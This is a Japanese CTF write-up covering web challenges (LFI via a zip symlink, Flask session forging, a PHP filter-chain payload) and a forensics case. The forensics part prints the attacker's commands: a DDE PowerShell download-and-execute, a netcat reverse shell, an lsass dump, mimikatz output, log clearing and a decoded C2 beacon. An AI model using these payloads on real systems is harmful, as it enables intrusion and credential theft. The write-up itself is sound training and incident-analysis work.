    if (score >= 0x64) _0x125e1a();
    else document["getElementById"](_0x287a2f(0x1f8))[_0x287a2f(0x200)] = "";
    function _0x125e1a() {
        var _0x162e81 = _0x287a2f;
        document["getElementById"](_0x162e81(0x1f8))[_0x162e81(0x200)] =
            _0x162e81(0x1fe);
    }
}

特に注目したいのがif (score >= 0x64) _0x125e1a();の部分。
得点が一定以上なら0x125e1aが呼ばれる。
ここで使われている
0x162e81は0x287a2fであり、冒頭を見ると0x1a8bなので、
実行されるのは以下のコードとなる。

document["getElementById"](_0x1a8b(0x1f8))[_0x1a8b(0x200)] = _0x1a8b(0x1fe);

これをChrome Developer ToolsのConsoleで直接動かしてやればフラグへのリンクが出てくる。

[web] Improper Error Handling

適当に入れてみるとError: Length too shortと言われる。
ちょっと伸ばしてみよう。

GET /api/error?length=111111111111111111111111111111111111111111111111 とするとINDhKQiOO28IpK0vqn9xOjc1QOWjL2pXN31IsOTeCOoFT4qE
なんだこれは

適当に長さを調整するとフラグが出てくる
GET /api/error?length=11111111111111111111111111111111

idekCTF 2023 Writeup

[web] Readme

/just-read-itというエンドポイントが用意されている。
バリデーションチェックが通るようにjsonを投げるとフラグがもらえるようだ。

randomDataに乱数が入っていて、一部[12625:]の領域にパスワードハッシュが格納されている。
ordersには整数の配列を指定可能で、指定された数だけrandomDataからデータを取り出してくれる。
ordersによる取り出しが終わった後に32bytes分取り出しを行ってそれがパスワードハッシュと一致すればフラグがもらえる。
つまり、ordersによる取り出しで12625bytes分取り出せればいいのだが、これは個数制限があってできないように見える。

色々実験していると

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
    ...
    if size >= 100 {
        reader = bufio.NewReader(reader)
    }

ここが原因で何やら不思議なことが起きている。
randomDataはシードが固定なので常に同じバイト列が出てくるのを利用してどれだけバッファのseekが進んでいるかを確認してみる。
{"orders":[100,1]}のようにしてみると、101バイトシークが進むはずなのだが、4097バイト進む。
理由はさっぱりわからない。
{"orders":[100,100,1]}とすると8193バイト進む。
なので100を指定すると4096バイト分進めることができるらしい。
12625バイト分進めたいので、40963=12288であと337バイト。993=297であと40バイト。
つまり、12625 = 4096*3 + 99*3 + 40なので{"orders":[100,100,100,99,99,99,40]}でフラグ獲得。

[web] SimpleFileServer

zipにシンボリックリンクを入れておくテクを使えばLFIができる。手順は以下の通り。

  1. ln -s /tmp/database.db database.db みたいにLFIしたいパスでシンボリックリンク作成
  2. zip -ry x.zip database.db でzipにする
  3. x.zipを送って、指定のファイル名を取得してやるとLFI可能

database.dbに面白い情報はないが、admin権限が付いているユーザーはいないということが分かった。
他にもいろいろ取ってみる。

/tmp/server.logからサーバの起動時刻がわかる。

[2023-01-13 23:04:17 +0000] [9] [INFO] Starting gunicorn 20.1.0
[2023-01-13 23:04:17 +0000] [9] [INFO] Listening at: http://0.0.0.0:1337 (9)
[2023-01-13 23:04:17 +0000] [9] [INFO] Using worker: sync
[2023-01-13 23:04:17 +0000] [15] [INFO] Booting worker with pid: 15
[2023-01-13 23:04:17 +0000] [16] [INFO] Booting worker with pid: 16
[2023-01-13 23:04:18 +0000] [17] [INFO] Booting worker with pid: 17

/app/config.pyから隠されていたSECRET_OFFSETの値がわかる。

import random
import os
import time

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

以上の情報からSECRET_KEYが推測可能。
SECRET_KEYが分かれば、flaskのsessionの改ざんができる。
session情報もcookieに入っているので、改ざんできればadmin権限にも昇格可能。

2023-01-13 23:04:17はunixtimeにすると1673651057なので、この周辺で鍵を作る。
ミリ秒まで考慮していることから適当に探索範囲を選んでやる。

import random
import os
import time

BASE = 1673651057 * 1000
SECRET_OFFSET = -67198624 * 1000
for d in range(-10000,1000):
    random.seed(BASE + SECRET_OFFSET + d)
    print("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))

出力をdic.txtとして保存しておきflask-unsign -c "eyJhZG1pbiI6bnVsbCwidWlkIjoiZXZpbG1hbiJ9.Y8JMTQ.g-cgmU0kj0uleP9o1WATgycGdGE" --unsign --wordlist dic.txt --no-literal-evalで辞書攻撃すると鍵がわかる。

84787d274d6b7e03d94ce2dcbfe85bf1

flask-unsign --sign --secret 84787d274d6b7e03d94ce2dcbfe85bf1 --cookie "{'admin': True, 'uid': 'evilman'}"Cookieを作ってセットして/flagを踏めば答え。

[web] Paywall

flagファイルを普通に読み出すと読み出せない。
FREEという文字列が入っていれば読み出し可能だが…という問題。

phpのfilterを使えば変換後に任意の文字列を先頭に持ってくることができるので、flagファイルをベースにして変換を実施してFREEを先頭にもってこよう。

synacktiv/php_filter_chain_generatorを使ってpayloadをつくる。

?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=flag

とやると、

FREEGyQpQ1BSRU1JVU0gLSBpZGVre1RoNG5rX1VfNF9TdWJzY1IxYjFuZ190MF9vdXJfbjN3c1BIUGFwZXIhfQ+-AD0APQ+-AD0APQ+-AD0APQ+-AD0APQ+AD0APQ-

と出てきた。これを復元するときは、base64デコードするだけでいい。フラグが出てくる。

[forensic] HiddenGem Mixtape 1: Initial Access 解けなかった

HiddenGem.7zの方はパスワードがかかっていて、次の発展問題で使用されるっぽい。
とりあえず、2023-01-07T194857_HiddenGem.zipの方を解析してみる。
解凍するとvhdxファイルがある。FTK Imagerで開く。

「メールで受信した文書ファイル」があるらしいので探す。
C:\Users\IEUser\Documents\Policy Update 2023-01-08T01_37_35+07_00.emlというファイルがある。

X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: Policy Update
From: Jake Weary <j4k3w34ry-pr0t0nm41l@protonmail.com>
Date: Sat, 07 Jan 2023 18:37:35 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------448eb183760f1434a460fff4086e8bf7
To: blu3dr490n@protonmail.com <blu3dr490n@protonmail.com>
X-Attached: Policy.7z
Message-Id: <H2jIbqy73OjXavbQI-QcTJFDM-sHd7XSZWInhmJpNkrKIyLxX9lhg-hsK9rt2-yzDyz7b4qtIutKVlvPkRbmm3MDIYhovDkRL4hhfwNxlf8=@protonmail.com>
X-Pm-Spamscore: 0
Received: from mail.protonmail.ch by mail.protonmail.ch; Sat, 07 Jan 2023 18:37:47 +0000
X-Original-To: blu3dr490n@protonmail.com
Return-Path: <j4k3w34ry-pr0t0nm41l@protonmail.com>
Delivered-To: blu3dr490n@protonmail.com

-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: multipart/related;boundary=---------------------fdd96beab7c150c9b923a38cfb866162

-----------------------fdd96beab7c150c9b923a38cfb866162
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7Ij48c3BhbiBz
...
ICA8L2Rpdj4KPC9kaXY+Cg==
-----------------------fdd96beab7c150c9b923a38cfb866162--
-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: application/octet-stream; filename="Policy.7z"; name="Policy.7z"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Policy.7z"; name="Policy.7z"

N3q8ryccAAT1emvqsFgBAAAAAAAyAAAAAAAAALAdG4k46ZCmmR+X4XNaj/JiVsvZHhSnUQp78+TU
...
Uw8s3sB0bDq+ZPe73p7jVoeKDICCCgGyNCbCAAA=
-----------------------448eb183760f1434a460fff4086e8bf7--

中身はこんな感じ。
base64encodedのものが2つあるので、中身を見てみる。

<div style="font-family: Arial; font-size: 14px;"><span style="line-height:1.5"><span>We have just completed the Security Baseline for employees and personal computers due to some information leaks, so it is necessary to update the company's information security policy.</span></span><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>In order to ensure the Company's internal information security, I request you to read and master the content of the policy</span></div><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>This is a confidential document, so it should be protected</span></div><span style="line-height:1.5"></span><span style="line-height:1.5">Password is Privacy4411@2023!!!</span><br></div><div style="font-family: Arial; font-size: 14px;"><br></div>
<div class="protonmail_signature_block" style="font-family: Arial; font-size: 14px;">
    <div class="protonmail_signature_block-user protonmail_signature_block-empty">
        
            </div>
    
            <div class="protonmail_signature_block-proton">
        Sent with <a target="_blank" href="https://proton.me/" rel="noopener noreferrer">Proton Mail</a> secure email.
    </div>
</div>

片方はメール本文。パスワードはPrivacy4411@2023!!!
もう片方はPolicy.7zというファイル。
解凍するとPolicy.xlsxというファイルが出てくる。
oleid Policy.xlsxでとりあえず解析してみるが、何も出てこない。

7zipでxlsxを解凍して中身を漁ってみると、xl/externalLinks/externalLink1.xmlに面白い記載がある。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic="/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $e"><ddeItems><ddeItem name="_xlbgnm.A1" advise="1"/><ddeItem name="StdDocumentName" ole="1" advise="1"/></ddeItems></ddeLink></externalLink>

つまり、cmd /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $eが実行されている。
感染経路は分かったが、ここ止まりな気がするな。

PowerShellの動きを追っていけばよさそうなので、次はWindowsイベントログを見てみる。
c:\Windows\System32\winevt\を見てみる。
ファイルサイズでソートすると、Sysmonが動いているみたい。
一番ファイルサイズの大きい、Microsoft-Windows-Sysmon%4Operational.evtxをまずは見てみる。
Eric Zimmerman's toolsのEvtxECmdでcsvに変換して適当にみていこう。

.\EvtxECmd.exe -f .\Microsoft-Windows-Sysmon%4Operational.evtx --csv . --csvf sysmon-operational.csv

Event ID        Count
1               2,780
4               9
5               2,473
16              1

コマンド履歴から検索すると2023-01-07 18:49:55に実行履歴が残っていた。
移行タイムゾーンは全部UTC(のはず)。

{"EventData":{"Data":[{"@Name":"RuleName","#text":"-"},{"@Name":"UtcTime","#text":"2023-01-07 18:49:55.186"},{"@Name":"ProcessGuid","#text":"0df7607b-bed3-63b9-5b00-000000001d00"},{"@Name":"ProcessId","#text":"4020"},{"@Name":"Image","#text":"C:\\Windows\\System32\\cmd.exe"},{"@Name":"FileVersion","#text":"6.1.7601.17514 (win7sp1_rtm.101119-1850)"},{"@Name":"Description","#text":"Windows Command Processor"},{"@Name":"Product","#text":"Microsoft® Windows® Operating System"},{"@Name":"Company","#text":"Microsoft Corporation"},{"@Name":"OriginalFileName","#text":"Cmd.Exe"},{"@Name":"CommandLine","#text":"CMD.EXE /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\\\"http://172.21.20.96/windowsupdate.ps1\\\");IEX $e"},{"@Name":"CurrentDirectory","#text":"C:\\Users\\IEUser\\Documents\\"},{"@Name":"User","#text":"IEWIN7\\IEUser"},{"@Name":"LogonGuid","#text":"0df7607b-be4a-63b9-0f58-040000000000"},{"@Name":"LogonId","#text":"0x4580F"},{"@Name":"TerminalSessionId","#text":"1"},{"@Name":"IntegrityLevel","#text":"High"},{"@Name":"Hashes","#text":"SHA256=DB06C3534964E3FC79D2763144BA53742D7FA250CA336F4A0FE724B75AAFF386"},{"@Name":"ParentProcessGuid","#text":"0df7607b-be7a-63b9-4800-000000001d00"},{"@Name":"ParentProcessId","#text":"4036"},{"@Name":"ParentImage","#text":"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE"},{"@Name":"ParentCommandLine","#text":"\"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE\" /dde"},{"@Name":"ParentUser","#text":"IEWIN7\\IEUser"}]}}

ふむ。ユーザーをIEWIN7\IEUserに絞ってみてみよう。
たくさんきな臭いコマンドが実行されている

リバースシェル張ってる
"C:\Users\IEUser\AppData\Local\Temp\SecurityUpdate.exe" 172.21.20.96 4444 -e cmd.exe

まずは調査
whoami
arp -a
ipconfig /all

https://gblogs.cisco.com/jp/2022/09/talos-lazarus-three-rats/
資格情報を平文で保存させるよう強制してあとで回収するためのコマンド
REG   ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

変名しているが、lsassのメモリダンプだろう。
C:\Windows\System32\UpdateAgent.exe  -accepteula -ma lsass.exe C:\Windows\System32\error

不明だが、怪しすぎる
2023-01-07 18:51:43 | C:\Windows\System32\mimikatz.exe
rundll32 C:\Windows\system32\generaltel.dll,RunInUserCxt DSkyyRXNN0SeFNpE.1   Census

バックドア作成。Usersをみてもnetadminは無いので、使われなかったっぽい?
net  user netadmin S3cr3tpa5sw0rD /add

ログ削除
2023-01-07 18:51:56 | wevtutil  cl Security

なんだっけ
rdpclip

~~~~

2023-01-07 19:03:03 | FTKImagerとかKAPEとかでアーティファクト収集している

これだけか。
ハッシュ確認しておく。

3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  error.dmp  
    https://www.virustotal.com/gui/file/3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  
    2023-01-14 03:54:18 UTCに上がってる笑  
61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  mimikatz.exe  
    https://www.virustotal.com/gui/file/61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  
    普通にmimikatz  
3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  SecurityUpdate.exe  
    https://www.virustotal.com/gui/file/3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  
    セキュリティベンダの判定ではnetcatという線が優勢。呼び出され方やサイズを見てもnetcatっぽい  
5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  UpdateAgent.exe  
    https://www.virustotal.com/gui/file/5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  
    procdump

特に他にイベントログに何もない。
error.dmpをmimikatzで開いてみる。

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )        
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )       
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/       

mimikatz # sekurlsa::minidump ../../error.dmp   
Switch to MINIDUMP : '../../error.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : '../../error.dmp' file for minidump...

Authentication Id : 0 ; 284687 (00000000:0004580f)
Session           : Interactive from 1
User Name         : IEUser
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/01/08 3:47:38
SID               : S-1-5-21-1610009768-122519599-941061767-1000
        msv :
         [00010000] CredentialKeys
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
         [00000003] Primary
         * Username : IEUser
         * Domain   : IEWIN7
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
        tspkg :
        wdigest :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : idek{crEDentia
        kerberos :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : (null)
        ssp :
        credman :

...

wdigestの平文パスワードが取れている!なるほどね。

IEWIN7\IEUser:idek{crEDentia
IEWIN7\sshd_server:D@rj33l1ng

以上の認証情報が手に入る。まだ、フラグの先頭か…
とりあえず攻撃者はsshd_serverに横展開可能になったということみたいなので、こっちのユーザーでもうちょっと捜査してみる。

sysmonのoperationalを見てみると、3回接続履歴がある。

  • 2023-01-07 18:46:53
  • 2023-01-07 19:00:40
  • 2023-01-07 20:17:41

最後の1つはFTK Imagerが使われた後なので関係無しと判断して、2回接続履歴がある。

…うーん。分からず。
終了後のDiscordを見ると、powershellの実行内容についてログが残っているので、それを解析すればいいようだ。
ちゃんと全部イベントログを見るべきだったか…?と思ったが、試しにhayabusaを使ってみるとmedで検知されてきた。
こっち使えば良かったな…

2023-01-08 03:50:09.349 +09:00,IEWIN7,PwSh,4104,med,13,Potentially Malicious PwSh,"ScriptBlock: & ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( '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' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend( )})"

頑張って難読化解除すると

$bwqvRnHz99 = (104,116,116,112,115,58,47,47,112,97,115,116,101);
$bwqvRnHz99 += (98,105,110,46,99,111,109,47,104,86,67,69,85,75,49,66);
$flag = [System.Text.Encoding]::ASCII.GetString($bwqvRnHz99);
$s='172.21.20.96:8080';
$i='eef8efac-321d465e-e9d053a7';
$p='http://';
$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/eef8efac -Headers @{"X-680d-47e8"=$i};
while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/321d465e -Headers @{"X-680d-47e8"=$i}).Content;
if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;
$r=Out-String -InputObject $r;
$t=Invoke-WebRequest -Uri $p$s/e9d053a7 -Method POST -Headers @{"X-680d-47e8"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

のような感じになり、$flagにpastebinのURLが入っているので、アクセスするとフラグが書いてある。